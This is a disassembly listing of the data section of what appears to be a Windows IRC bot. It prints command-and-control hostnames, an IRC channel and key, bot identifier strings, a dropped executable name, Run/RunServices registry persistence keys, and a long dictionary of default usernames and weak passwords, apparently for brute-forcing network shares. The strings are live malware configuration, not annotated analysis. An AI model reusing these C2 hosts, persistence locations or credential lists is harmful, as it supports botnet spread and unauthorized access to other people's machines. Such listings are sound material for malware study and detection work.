					; DATA XREF: sub_40D835:loc_40D8E3o
		align 4
aTheRequested_0	db 'The requested control code is not valid, or it is unacceptable to'
					; DATA XREF: sub_40D835:loc_40D8DCo
		db ' the service.',0
		align 4
aTheProcessForT	db 'The process for the service was started, but it did not call Star'
					; DATA XREF: sub_40D835:loc_40D8D5o
		db 'tServiceCtrlDispatcher.',0
		align 4
aAThreadCouldNo	db 'A thread could not be created for the service.',0
					; DATA XREF: sub_40D835:loc_40D8CEo
		align 4
aTheDatabaseIsL	db 'The database is locked.',0 ; DATA XREF: sub_40D835+8Fo
aTheServiceCann	db 'The service cannot be stopped because other running services are '
					; DATA XREF: sub_40D835:loc_40D8A3o
		db 'dependent on it.',0
		align 10h
aTheServiceBina	db 'The service binary file could not be found.',0
					; DATA XREF: sub_40D835:loc_40D899o
aTheHandleDoesN	db 'The handle does not have the required access right.',0
					; DATA XREF: sub_40D835:loc_40D88Fo
aTheHandleIsInv	db 'The handle is invalid.',0 ; DATA XREF: sub_40D835:loc_40D885o
		align 4
aTheRequestedCo	db 'The requested control code is undefined.',0
					; DATA XREF: sub_40D835:loc_40D87Bo
		align 4
aTheSpecifiedSe	db 'The specified service name is invalid.',0 ; DATA XREF: sub_40D835+3Co
		align 4
aSSS		db '%s: %s (%s)',0      ; DATA XREF: sub_40D9B3+EBo
aStopped	db '    Stopped',0      ; DATA XREF: sub_40D9B3:loc_40DA7Fo
aStarting	db '   Starting',0      ; DATA XREF: sub_40D9B3:loc_40DA78o
aStoping	db '    Stoping',0      ; DATA XREF: sub_40D9B3:loc_40DA71o
aRunning	db '    Running',0      ; DATA XREF: sub_40D9B3:loc_40DA6Ao
aContinuing	db ' Continuing',0      ; DATA XREF: sub_40D9B3:loc_40DA63o
aPausing	db '    Pausing',0      ; DATA XREF: sub_40D9B3:loc_40DA5Co
aPaused_0	db '     Paused',0      ; DATA XREF: sub_40D9B3:loc_40DA55o
aUnknown_0	db '    Unknown',0      ; DATA XREF: sub_40D9B3+9Bo
aTheFollowingWi	db 'The following Windows services are registered:',0
					; DATA XREF: sub_40D9B3+25o
		align 4
dword_42EE38	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40DAF0+ACo
		dd 2BBBB02h
aSNoShareSpecif	db '  %s: No share specified.',0
		align 4
dword_42EE6C	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40DAF0+8Ao
		dd 2BBBB02h
aSShareS_	db '  %s share: ',27h,'%s',27h,'.',0
		align 4
dword_42EE98	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40DAF0+58o
		dd 2BBBB02h
aSErrorWithShar	db '  %s: Error with share: ',27h,'%s',27h,'. %s',0
		align 4
a14s24s6u4s	db '%-14S %-24S %-6u %-4s',0 ; DATA XREF: sub_40DCE6+D0o
		align 4
aNo		db 'No',0               ; DATA XREF: sub_40DCE6+BCo
		align 10h
aYes		db 'Yes',0              ; DATA XREF: sub_40DCE6+B5o
dword_42EEF4	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40DCE6+76o
		dd 2BBBB02h
aShareListError	db '  Share list error: %s <%ld>',0
		align 4
aShareNameResou	db 'Share name:    Resource:                Uses:  Desc:',0
					; DATA XREF: sub_40DCE6+26o
		align 4
dword_42EF64	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40DE07+B7o
		dd 2BBBB02h
aSNoUsernameSpe	db '  %s: No username specified.',0
		align 4
dword_42EF9C	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40DE07+95o
		dd 2BBBB02h
aSErrorWithUser	db '  %s: Error with username: ',27h,'%s',27h,'. %s',0
dword_42EFD8	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40DE07+6Do
		dd 2BBBB02h
aSUsernameS_	db '  %s username: ',27h,'%s',27h,'.',0
		align 4
dword_42F008	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40DF4E+3AFo
		dd 2BBBB02h
aUserInfoErrorL	db '  User info error: <%ld>',0
		align 4
aUnitsPerWeekD	db 'Units Per Week: %d',0 ; DATA XREF: sub_40DF4E+385o
		align 10h
aMax_StorageD	db 'Max. Storage: %d',0 ; DATA XREF: sub_40DF4E+35Ao
		align 4
aUserSLanguageD	db 'User',27h,'s Language: %d',0 ; DATA XREF: sub_40DF4E+32Fo
aCountryCodeD	db 'Country Code: %d',0 ; DATA XREF: sub_40DF4E+304o
		align 4
aWorkstationsS	db 'Workstations: %S',0 ; DATA XREF: sub_40DF4E+2D9o
		align 10h
aLogonServerS	db 'Logon Server: %S',0 ; DATA XREF: sub_40DF4E+2AEo
		align 4
aLastLogoffD	db 'Last Logoff: %d',0  ; DATA XREF: sub_40DF4E+283o
aLastLogonD	db 'Last Logon: %d',0   ; DATA XREF: sub_40DF4E+258o
		align 4
aNumberOfLogins	db 'Number of Logins: %d',0 ; DATA XREF: sub_40DF4E+22Do
		align 4
aBadPasswordCou	db 'Bad Password Count: %d',0 ; DATA XREF: sub_40DF4E+202o
		align 4
aPasswordAgeD	db 'Password Age: %d',0 ; DATA XREF: sub_40DF4E+1D7o
		align 4
aParametersS	db 'Parameters: %S',0   ; DATA XREF: sub_40DF4E+1ACo
		align 4
aHomeDirectoryS	db 'Home Directory: %S',0 ; DATA XREF: sub_40DF4E+181o
		align 4
aAuthFlagsD	db 'Auth Flags: %d',0   ; DATA XREF: sub_40DF4E+156o
		align 4
aPrivilegeLevel	db 'Privilege Level: %s',0 ; DATA XREF: sub_40DF4E+12Bo
aGuest		db 'Guest',0            ; DATA XREF: sub_40DF4E:loc_40E06Do
		align 4
aUser_0		db 'User',0             ; DATA XREF: sub_40DF4E:loc_40E066o
		align 10h
aAdministrator	db 'Administrator',0    ; DATA XREF: sub_40DF4E:loc_40E05Fo
					; ___:0042F778o ...
		align 10h
aCommentS	db 'Comment: %S',0      ; DATA XREF: sub_40DF4E+DAo
aUserCommentS	db 'User Comment: %S',0 ; DATA XREF: sub_40DF4E+AFo
		align 10h
aFullNameS	db 'Full Name: %S',0    ; DATA XREF: sub_40DF4E+84o
		align 10h
aAccountS	db 'Account: %S',0      ; DATA XREF: sub_40DF4E+50o
aTotalUsersFoun	db 'Total users found: %d.',0 ; DATA XREF: sub_40E337+14Fo
		align 4
dword_42F1D4	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40E337+F7o
		dd 2BBBB02h
aAnAccessViolat	db '  An access violation has occured.',0
		align 10h
aS_4		db '  %S',0             ; DATA XREF: sub_40E337+BEo
		align 4
dword_42F218	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40E337+7Ao
		dd 2BBBB02h
aUserListErrorS	db '  User list error: %s <%ld>',0
aUsernameAccoun	db 'Username accounts for local system:',0 ; DATA XREF: sub_40E337+29o
aNetworkConnect	db 'Network connection not found.',0 ; DATA XREF: sub_40E4B7:loc_40E5D4o
		align 10h
aTheUserNameCou	db 'The user name could not be found.',0 ; DATA XREF: sub_40E4B7:loc_40E5CDo
		align 4
aShareNotFound_	db 'Share not found.',0 ; DATA XREF: sub_40E4B7:loc_40E5C6o
		align 4
aTheComputerNam	db 'The computer name is invalid.',0 ; DATA XREF: sub_40E4B7:loc_40E5BFo
		align 4
aAnUnknownError	db 'An unknown error occurred.',0 ; DATA XREF: sub_40E4B7:loc_40E5B8o
		align 4
aThePasswordIsS	db 'The password is shorter than required (or does not meet the passw'
					; DATA XREF: sub_40E4B7:loc_40E59Bo
		db 'ord policy requirement.)',0
		align 10h
aTheGroupAlread	db 'The group already exists.',0 ; DATA XREF: sub_40E4B7:loc_40E594o
		align 4
aTheUserAccount	db 'The user account already exists.',0 ; DATA XREF: sub_40E4B7:loc_40E58Do
		align 10h
aTheOperationIs	db 'The operation is allowed only on the primary domain controller of'
					; DATA XREF: sub_40E4B7+CFo
		db ' the domain.',0
		align 10h
aAGeneralFailur	db 'A general failure occurred in the network hardware.',0
					; DATA XREF: sub_40E4B7:loc_40E562o
aLevelParameter	db 'Level parameter is invalid.',0 ; DATA XREF: sub_40E4B7:loc_40E55Bo
aDeviceOrDirect	db 'Device or directory does not exist.',0
					; DATA XREF: sub_40E4B7:loc_40E554o
aInvalidForRedi	db 'Invalid for redirected resource.',0 ; DATA XREF: sub_40E4B7:loc_40E54Ao
		align 4
aDuplicateShare	db 'Duplicate share name.',0 ; DATA XREF: sub_40E4B7+89o
		align 10h
aTheNameIsInval	db 'The name is invalid.',0 ; DATA XREF: sub_40E4B7:loc_40E524o
		align 4
aAccessDenied_	db 'Access denied.',0   ; DATA XREF: sub_40E4B7:loc_40E51Ao
		align 4
aNotEnoughMemor	db 'Not enough memory.',0 ; DATA XREF: sub_40E4B7:loc_40E510o
		align 4
aThisNetworkReq	db 'This network request is not supported.',0
					; DATA XREF: sub_40E4B7:loc_40E506o
		align 4
aServerNameNotF	db 'Server name not found.',0 ; DATA XREF: sub_40E4B7:loc_40E4FCo
		align 4
aInvalidParamet	db 'Invalid parameter.',0 ; DATA XREF: sub_40E4B7+3Bo
		align 10h
dword_42F530	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40E5EB+ABo
		dd 2BBBB02h
aSServerSMessag	db '  %s <Server: %S> <Message: %S>',0
dword_42F568	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40E5EB+81o
		dd 2BBBB02h
aMessageSentSuc	db '  Message sent successfully.',0
		align 10h
dword_42F5A0	dd 1B58h		; DATA XREF: ___:0040EA4Cr
					; ___:0040EAFFr
dword_42F5A4	dd 0C8Bh		; DATA XREF: ___:0040EB4Br
dword_42F5A8	dd 30EAh		; DATA XREF: sub_40EE72:loc_414C08r
dword_42F5AC	dd 18F4h		; DATA XREF: sub_407252+3Br
					; sub_40EE72+52E4r
dword_42F5B0	dd 1BB0h		; DATA XREF: sub_407252:loc_407501r
					; sub_40EE72:loc_41424Br
dword_42F5B4	dd 0A84h		; DATA XREF: sub_40EE72:loc_4143C1r
dword_42F5B8	dd 1			; DATA XREF: sub_40EE72+665r
dword_42F5BC	dd 1			; DATA XREF: ___:0040E7E6r
dword_42F5C0	dd 1			; DATA XREF: sub_40AC42+Cr
					; ___:loc_40E9D8r
byte_42F5C4	db 2Eh			; DATA XREF: sub_40CFE3:loc_40CFEFr
					; sub_40EE72+B05r ...
		align 4
dword_42F5C8	dd 6			; DATA XREF: sub_415994+2Br
					; sub_415994+51r ...
dword_42F5CC	dd 4			; DATA XREF: sub_40EB92+78r
					; sub_40EE72+279r ...
a8652		db '8652',0
		align 4
aCool_0		db 'cool',0
		align 10h
aMan		db 'man',0
		align 8
aAsn445		db 'asn445',0
		align 10h
		db 2 dup(0)
byte_42F5F2	db 1			; DATA XREF: sub_40EE72:loc_413D42r
					; sub_40EE72+4EDAo
aAsn139		db 'asn139',0
		align 4
		dd 100h, 3 dup(0)
aBotid		db 'botid',0            ; DATA XREF: ___:0040E703o
					; sub_40EE72+3E40o ...
		align 4
aAbosal7Tool	db 'ABOSAL7 tool',0     ; DATA XREF: sub_40EE72:loc_414E20o
		align 4
aCool		db 'cool',0             ; DATA XREF: sub_40EE72+6127o
					; sub_40EE72+61F6o
		align 4
aSaber2_ircqfor	db 'saber2.ircqforum.com',0 ; DATA XREF: ___:0040EA37o
					; ___:0040EAF0o
		align 4
aFaak		db '#faak#',0           ; DATA XREF: ___:0040EA58o
					; ___:0040EB06o
		align 4
aSaad_		db 'saad.',0            ; DATA XREF: ___:0040EA6Fo
					; ___:0040EB18o
		align 4
byte_42F654	db 73h			; DATA XREF: ___:loc_40EB2Er
					; ___:0040EB3Co
aCorti1_dns2go_	db 'corti1.dns2go.com',0
		align 4
aFaak_0		db '#faak#',0           ; DATA XREF: ___:0040EB52o
		align 10h
aSaad__0	db 'saad.',0            ; DATA XREF: ___:0040EB64o
		align 4
byte_42F678	db 66h			; DATA XREF: sub_402B84+Fo
					; sub_4030E8+81o ...
		db 69h,	72h, 73h
		dd 69777374h, 78652E6Eh, 65h
dword_42F688	dd 65627663h, 6C642E69h, 6Ch ; DATA XREF: sub_4022C6+3Do
aSystam13	db 'Systam13',0         ; DATA XREF: sub_40C1AE+Eo
		align 10h
aBot		db '[bot]-',0           ; DATA XREF: sub_415994+12o
		align 4
aFirstswin_exe	db 'firstswin.exe',0
		align 4
aXi		db '+xi',0              ; DATA XREF: sub_40EE72+6272o
aF		db '#f',0               ; DATA XREF: sub_40EE72:loc_4120EFo
					; sub_40EE72+50A0o ...
		align 10h
aF_0		db '#f',0               ; DATA XREF: sub_40EE72+1F2Fo
		align 4
aF_1		db '#f',0               ; DATA XREF: sub_40EE72+1D75o
		align 4
off_42F6C8	dd offset a@admin_com	; DATA XREF: sub_40EE72:loc_414FECo
					; "*@admin.com"
off_42F6CC	dd offset aH4ckerTool	; DATA XREF: sub_40EE72+8CFr
					; sub_40EE72+6196o
					; "h4cker tool"
aSoftwareMicr_0	db 'Software\Microsoft\Windows\CurrentVersion\Run',0
		align 10h
		db 53h
aOftwareMicro_0	db 'oftware\Microsoft\Windows\CurrentVersion\RunServices',0
		align 4
aSoftwareMicros	db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_415F86+28o
					; sub_4162AA+28o
		align 10h
aSystemCurrentc	db 'SYSTEM\CurrentControlSet\Control\Lsa',0 ; DATA XREF: sub_415F86+D4o
					; sub_4162AA+D4o
		align 4
		dd offset aAdministrator ; "Administrator"
		dd offset aAdministrato_0 ; "administrator"
		dd offset aAdministrador ; "administrador"
		dd offset aAdministrateur ; "administrateur"
		dd offset aAdministrat	; "administrat"
		dd offset aAdmins	; "admins"
		dd offset aAdmin	; "admin"
		dd offset aStaff	; "staff"
		dd offset aRoot		; "root"
		dd offset aComputer	; "computer"
		dd offset aOwner	; "owner"
		dd offset aStudent	; "student"
		dd offset aTeacher	; "teacher"
		dd offset aWwwadmin	; "wwwadmin"
		dd offset aGuest_0	; "guest"
		dd offset aDefault	; "default"
		dd offset aDatabase	; "database"
		dd offset aDba		; "dba"
		dd offset aOracle	; "oracle"
		dd offset aDb2		; "db2"
		dd 0
		dd offset byte_43C80C
		dd offset byte_43C80C
		dd offset aAdministrato_1 ; "ADMINISTRATOR"
		dd offset aAdministrator ; "Administrator"
		dd offset aAdministrato_0 ; "administrator"
		dd offset aFubar	; "fubar"
		dd offset aBla		; "bla"
		dd offset aGuest_1	; "GUEST"
		dd offset aRoot_0	; "ROOT"
		dd offset aRoot		; "root"
		dd offset aAdmin_0	; "ADMIN"
		dd offset aPassword	; "PASSWORD"
		dd offset aTemp		; "TEMP"
		dd offset aShare_0	; "SHARE"
		dd offset aWrite	; "WRITE"
		dd offset aFull_0	; "FULL"
		dd offset aLadeda	; "ladeda"
		dd offset aBoth		; "BOTH"
		dd offset aRead		; "READ"
		dd offset aFiles	; "FILES"
		dd offset aDemo		; "DEMO"
		dd offset aOwner_0	; "OWNER"
		dd offset aOwner_1	; "Owner"
		dd offset aEdu		; "edu"
		dd offset aTest		; "TEST"
		dd offset aAccess	; "ACCESS"
		dd offset aUser_1	; "USER"
		dd offset aBackup	; "BACKUP"
		dd offset aSystem	; "SYSTEM"
		dd offset aServer_0	; "SERVER"
		dd offset aPepsi	; "pepsi"
		dd offset aLocal	; "LOCAL"
		dd offset aUnix		; "unix"
		dd offset aLinux	; "linux"
		dd offset aChangeme	; "changeme"
		dd offset aChangeme_0	; "Changeme"
		dd offset aTemp123	; "temp123"
		dd offset a1		; "1"
		dd offset a12		; "12"
		dd offset a123		; "123"
		dd offset a1234		; "1234"
		dd offset a12345	; "12345"
		dd offset a123456	; "123456"
		dd offset a1234567	; "1234567"
		dd offset a12345678	; "12345678"
		dd offset a123456789	; "123456789"
		dd offset a654321	; "654321"
		dd offset a54321	; "54321"
		dd offset a111		; "111"
		dd offset a11111111	; "11111111"
		dd offset a88888888	; "88888888"
		dd offset aPass_0	; "pass"
		dd offset aPasswd	; "passwd"
		dd offset aDatabase	; "database"
		dd offset aAbcd		; "abcd"
		dd offset aAbc123	; "abc123"
		dd offset aOracle	; "oracle"
		dd offset aSybase	; "sybase"
		dd offset a123qwe	; "123qwe"
		dd offset aComputer	; "computer"
		dd offset aInternet	; "Internet"
		dd offset aSuper	; "super"
		dd offset a123asd	; "123asd"
		dd offset aIhavenopass	; "ihavenopass"
		dd offset aGodblessyou	; "godblessyou"
		dd offset aEnable	; "enable"
		dd offset aXp_0		; "xp"
		dd offset a2002		; "2002"
		dd offset a2003		; "2003"
		dd offset a2600		; "2600"
		dd offset a110		; "110"
		dd offset a111111	; "111111"
		dd offset a121212	; "121212"
		dd offset a123123	; "123123"
		dd offset a1234qwer	; "1234qwer"
		dd offset a123abc	; "123abc"
		dd offset a007		; "007"
		dd offset aAlpha	; "alpha"
		dd offset aPatrick	; "patrick"
		dd offset aPat		; "pat"
		dd offset aSex		; "sex"
		dd offset aGod		; "god"
		dd offset aFoobar	; "foobar"
		dd offset aNilez	; "Nilez"
		dd offset aDevil	; "devil"
		dd offset aNetdevil	; "netdevil"
		dd offset aNetDevil	; "net-devil"
		dd offset a0wned	; "0wned"
		dd offset aOwned	; "owned"
		dd offset aIrule	; "irule"
		dd offset aNetfuck	; "netfuck"
		dd offset aFucked	; "fucked"
		dd offset aCrash	; "crash"
		dd offset aA_1		; "a"
		dd offset aAaa		; "aaa"
		dd offset aAbc		; "abc"
		dd offset aTest123	; "test123"
		dd offset aWin		; "win"
		dd offset aPc		; "pc"
		dd offset aAsdf		; "asdf"
		dd offset aSecret	; "secret"
		dd offset aQwer		; "qwer"
		dd offset aYxcv		; "yxcv"
		dd offset aZxcv		; "zxcv"
		dd offset aHome		; "home"
		dd offset aLogin	; "login"
		dd offset aPwd		; "pwd"
		dd offset aLove		; "love"
		dd offset aMypc		; "mypc"
		dd offset aMypc123	; "mypc123"
		dd offset aAdmin123	; "admin123"
		dd offset aPw123	; "pw123"
		dd offset aMypass	; "mypass"
		dd offset aMypass123	; "mypass123"
		dd offset aPw		; "pw"
		dd offset aMat		; "Mat"
		dd offset aMatt		; "Matt"
		dd offset aMatthew	; "Matthew"
		dd offset aGobo		; "gobo"
		dd offset aSatan	; "satan"
		dd offset aSatanik	; "satanik"
		dd offset aSatanic	; "satanic"
		dd offset aSpaceman	; "spaceman"
		dd offset aHeaven	; "heaven"
		dd offset aW00t		; "w00t"
		dd offset a0wn3d	; "0wn3d"
		dd offset aKiller	; "killer"
		dd offset aLeet		; "leet"
		dd offset aL33t		; "l33t"
		dd offset aL337		; "l337"
		dd offset aHacker	; "hacker"
		dd offset aHax0r	; "hax0r"
		dd offset aScript	; "script"
		dd offset aScriptkiddie	; "scriptkiddie"
		dd offset aKiddie	; "kiddie"
		dd offset aMirc_0	; "mirc"
		dd offset aUwontguessme	; "uwontguessme"
		dd offset aYouwontguessme ; "youwontguessme"
		dd offset aGuessme	; "guessme"
		dd offset asc_434C30	; "x"
		dd offset aXx		; "xx"
		dd offset aXxx		; "xxx"
		dd offset aXxxx		; "xxxx"
		dd offset aXxxxx	; "xxxxx"
		dd offset aXxxxxx	; "xxxxxx"
		dd offset aXxxxxxx	; "xxxxxxx"
		dd offset aXxxxxxxx	; "xxxxxxxx"
		dd offset aXxxxxxxxx	; "xxxxxxxxx"
		dd offset dword_4289BC
		dd offset a00		; "00"
		dd offset aDeath	; "death"
		dd offset aTesting	; "testing"
		dd offset a000		; "000"
		dd offset a0000		; "0000"
		dd offset a00000	; "00000"
		dd offset a000000	; "000000"
		dd offset aAcademia	; "academia"
		dd offset aAcademic	; "academic"
		dd offset aAccept	; "accept"
		dd offset aAccount	; "account"
		dd offset aAction	; "action"
		dd offset aAdam		; "adam"
		dd offset aAdrian	; "adrian"
		dd offset aAdrianna	; "adrianna"
		dd offset aAdult	; "adult"
		dd offset aAerobics	; "aerobics"
		dd offset aAids		; "aids"
		dd offset aAirplane	; "airplane"
		dd offset aAlaska	; "alaska"
		dd offset aAlbany	; "albany"
		dd offset aAlbatros	; "albatros"
		dd offset aAlbert	; "albert"
		dd offset aAlert	; "alert"
		dd offset aAlex		; "alex"
		dd offset aAlexande	; "alexande"
		dd offset aAlgebra	; "algebra"
		dd offset aAlias	; "alias"
		dd offset aAliases	; "aliases"
		dd offset aAlice	; "alice"
		dd offset aAlicia	; "alicia"
		dd offset aAlisa	; "alisa"
		dd offset aAlison	; "alison"
		dd offset aAllison	; "allison"
		dd offset aAllow	; "allow"
		dd offset aAlphabet	; "alphabet"
		dd offset aAmadeus	; "amadeus"
		dd offset aAmanda	; "amanda"
		dd offset aAmber	; "amber"
		dd offset aAmerica	; "america"
		dd offset aAmorphou	; "amorphou"
		dd offset aAnal		; "anal"
		dd offset aAnalog	; "analog"
		dd offset aAnarchis	; "anarchis"
		dd offset aAnarchy	; "anarchy"
		dd offset aAnchor	; "anchor"
		dd offset aAndrea	; "andrea"
		dd offset aAndroid	; "android"
		dd offset aAndromac	; "andromac"
		dd offset aAndy		; "andy"
		dd offset aAnfo		; "anfo"
		dd offset aAngela	; "angela"
		dd offset aAngerine	; "angerine"
		dd offset aAngie	; "angie"
		dd offset aAnimal	; "animal"
		dd offset aAnimals	; "animals"
		dd offset aAnita	; "anita"
		dd offset aAnna		; "anna"
		dd offset aAnne		; "anne"
		dd offset aAnnette	; "annette"
		dd offset aAnon		; "anon"
		dd offset aAnonymou	; "anonymou"
		dd offset aAnswer	; "answer"
		dd offset aAnthrax	; "anthrax"
		dd offset aAnthropo	; "anthropo"
		dd offset aAnvils	; "anvils"
		dd offset aAnything	; "anything"
		dd offset aApollo13	; "apollo13"
		dd offset aApril	; "april"
		dd offset aAria		; "aria"
		dd offset aAriadne	; "ariadne"
		dd offset aArlene	; "arlene"
		dd offset aArmy		; "army"
		dd offset aArrow	; "arrow"
		dd offset aArthur	; "arthur"
		dd offset aArtist	; "artist"
		dd offset aAsian	; "asian"
		dd offset aAsshole	; "asshole"
		dd offset aAthena	; "athena"
		dd offset aAtmosphe	; "atmosphe"
		dd offset aAtom		; "atom"
		dd offset aAttack	; "attack"
		dd offset aAuthoriz	; "authoriz"
		dd offset aAztecs	; "aztecs"
		dd offset aAzure	; "azure"
		dd offset aBabe		; "babe"
		dd offset aBaby		; "baby"
		dd offset aBacchus	; "bacchus"
		dd offset aBackdoor	; "backdoor"
		dd offset aBadass	; "badass"
		dd offset aBailey	; "bailey"
		dd offset aBall		; "ball"
		dd offset aBanana	; "banana"
		dd offset aBananas	; "bananas"
		dd offset aBandit	; "bandit"
		dd offset aBank		; "bank"
		dd offset aBanks	; "banks"
		dd offset aBarbara	; "barbara"
		dd offset aBarber	; "barber"
		dd offset aBare		; "bare"
		dd offset aBarf		; "barf"
		dd offset aBaritone	; "baritone"
		dd offset aBart		; "bart"
		dd offset aBartman	; "bartman"
		dd offset aBaseball	; "baseball"
		dd offset aBasic	; "basic"
		dd offset aBass		; "bass"
		dd offset aBassoon	; "bassoon"
		dd offset aBatch	; "batch"
		dd offset aBatman	; "batman"
		dd offset aBeach	; "beach"
		dd offset aBeammeup	; "beammeup"
		dd offset aBear		; "bear"
		dd offset aBeast	; "beast"
		dd offset aBeater	; "beater"
		dd offset aBeauty	; "beauty"
		dd offset aBeaver	; "beaver"
		dd offset aBecky	; "becky"
		dd offset aBeethove	; "beethove"
		dd offset aBegin	; "begin"
		dd offset aBehead	; "behead"
		dd offset aBell		; "bell"
		dd offset aBeloved	; "beloved"
		dd offset aBenz		; "benz"
		dd offset aBeowulf	; "beowulf"
		dd offset aBerkeley	; "berkeley"
		dd offset aBerlin	; "berlin"
		dd offset aBerliner	; "berliner"
		dd offset aBeryl	; "beryl"
		dd offset aBeta		; "beta"
		dd offset aBeth		; "beth"
		dd offset aBetsie	; "betsie"
		dd offset aBetty	; "betty"
		dd offset aBeverly	; "beverly"
		dd offset aBible	; "bible"
		dd offset aBicamera	; "bicamera"
		dd offset aBigfoot	; "bigfoot"
		dd offset aBill		; "bill"
		dd offset aBinary	; "binary"
		dd offset aBios		; "bios"
		dd offset aBird		; "bird"
		dd offset aBishop	; "bishop"
		dd offset aBitch	; "bitch"
		dd offset aBitmap	; "bitmap"
		dd offset aBitnet	; "bitnet"
		dd offset aBlack	; "black"
		dd offset aBlonde	; "blonde"
		dd offset aBlondie	; "blondie"
		dd offset aBlood	; "blood"
		dd offset aBloodaxe	; "bloodaxe"
		dd offset aBlow		; "blow"
		dd offset aBlowjob	; "blowjob"
		dd offset aBlue		; "blue"
		dd offset aBlues	; "blues"
		dd offset aBoard	; "board"
		dd offset aBomb		; "bomb"
		dd offset aBoner	; "boner"
		dd offset aBoob		; "boob"
		dd offset aBoobs	; "boobs"
		dd offset aBook		; "book"
		dd offset aBorn		; "born"
		dd offset aBoyscout	; "boyscout"
		dd offset aBradley	; "bradley"
		dd offset aBrandi	; "brandi"
		dd offset aBrandy	; "brandy"
		dd offset aBravo	; "bravo"
		dd offset aBreak	; "break"
		dd offset aBreast	; "breast"
		dd offset aBrenda	; "brenda"
		dd offset aBrian	; "brian"
		dd offset aBridget	; "bridget"
		dd offset aBroadway	; "broadway"
		dd offset aBrothel	; "brothel"
		dd offset aBrunette	; "brunette"
		dd offset aBrute	; "brute"
		dd offset aBrutefor	; "brutefor"
		dd offset aBulls	; "bulls"
		dd offset aBullshit	; "bullshit"
		dd offset aBumbling	; "bumbling"
		dd offset aBung		; "bung"
		dd offset aBurgess	; "burgess"
		dd offset aBurn		; "burn"
		dd offset aButch	; "butch"
		dd offset aButt		; "butt"
		dd offset aButthead	; "butthead"
		dd offset aCaliforn	; "californ"
		dd offset aCamille	; "camille"
		dd offset aCampanil	; "campanil"
		dd offset aCamping	; "camping"
		dd offset aCandi	; "candi"
		dd offset aCandy	; "candy"
		dd offset aCantor	; "cantor"
		dd offset aCaptain	; "captain"
		dd offset aCapture	; "capture"
		dd offset aCard		; "card"
		dd offset aCardinal	; "cardinal"
		dd offset aCaren	; "caren"
		dd offset aCarla	; "carla"
		dd offset aCarmen	; "carmen"
		dd offset aCarol	; "carol"
		dd offset aCarole	; "carole"
		dd offset aCarolina	; "carolina"
		dd offset aCaroline	; "caroline"
		dd offset aCarrie	; "carrie"
		dd offset aCarson	; "carson"
		dd offset aCascades	; "cascades"
		dd offset aCash		; "cash"
		dd offset aCastle	; "castle"
		dd offset aCatherin	; "catherin"
		dd offset aCatholic	; "catholic"
		dd offset aCathy	; "cathy"
		dd offset aCave		; "cave"
		dd offset aCayuga	; "cayuga"
		dd offset aCecily	; "cecily"
		dd offset aCelt		; "celt"
		dd offset aCeltic	; "celtic"
		dd offset aCeltics	; "celtics"
		dd offset aCerulean	; "cerulean"
		dd offset aChange	; "change"
		dd offset aCharity	; "charity"
		dd offset aCharles	; "charles"
		dd offset aCharlie	; "charlie"
		dd offset aCharming	; "charming"
		dd offset aCharon	; "charon"
		dd offset aChat_0	; "chat"
		dd offset aChem		; "chem"
		dd offset aChemistr	; "chemistr"
		dd offset aChess	; "chess"
		dd offset aChester	; "chester"
		dd offset aChip		; "chip"
		dd offset aChris	; "chris"
		dd offset aChristin	; "christin"
		dd offset aChristy	; "christy"
		dd offset aCigar	; "cigar"
		dd offset aCigarett	; "cigarett"
		dd offset aCindy	; "cindy"
		dd offset aClass	; "class"
		dd offset aClasses	; "classes"
		dd offset aClassic	; "classic"
		dd offset aClaudia	; "claudia"
		dd offset aClaymore	; "claymore"
		dd offset aCleavage	; "cleavage"
		dd offset aClinton	; "clinton"
		dd offset aCluster	; "cluster"
		dd offset aClusters	; "clusters"
		dd offset aCoast	; "coast"
		dd offset aCocacola	; "cocacola"
		dd offset aCocainco	; "cocainco"
		dd offset aCock		; "cock"
		dd offset aCode		; "code"
		dd offset aCodename	; "codename"
		dd offset aCodeword	; "codeword"
		dd offset aCoffee	; "coffee"
		dd offset aCoin		; "coin"
		dd offset aCoke		; "coke"
		dd offset aCola		; "cola"
		dd offset aCold		; "cold"
		dd offset aCollins	; "collins"
		dd offset aColor	; "color"
		dd offset aCombat	; "combat"
		dd offset aComics	; "comics"
		dd offset aCommit	; "commit"
		dd offset aCommrade	; "commrade"
		dd offset aCompany	; "company"
		dd offset aComputin	; "computin"
		dd offset aComrade	; "comrade"
		dd offset aComrades	; "comrades"
		dd offset aCondo	; "condo"
		dd offset aCondom	; "condom"
		dd offset aConnect	; "connect"
		dd offset aConnie	; "connie"
		dd offset aConserva	; "conserva"
		dd offset aConsole	; "console"
		dd offset aContinue	; "continue"
		dd offset aCook		; "cook"
		dd offset aCookbook	; "cookbook"
		dd offset aCookie	; "cookie"
		dd offset aCool_1	; "cool"
		dd offset aCooper	; "cooper"
		dd offset aCopper	; "copper"
		dd offset aCops		; "cops"
		dd offset aCopy		; "copy"
		dd offset aCorneliu	; "corneliu"
		dd offset aCorrect	; "correct"
		dd offset aCounters	; "counters"
		dd offset aCountry	; "country"
		dd offset aCouscous	; "couscous"
		dd offset aCowboy	; "cowboy"
		dd offset aCrack	; "crack"
		dd offset aCrackpot	; "crackpot"
		dd offset aCream	; "cream"
		dd offset aCreate	; "create"
		dd offset aCreation	; "creation"
		dd offset aCreature	; "creature"
		dd offset aCredit	; "credit"
		dd offset aCreosote	; "creosote"
		dd offset aCretin	; "cretin"
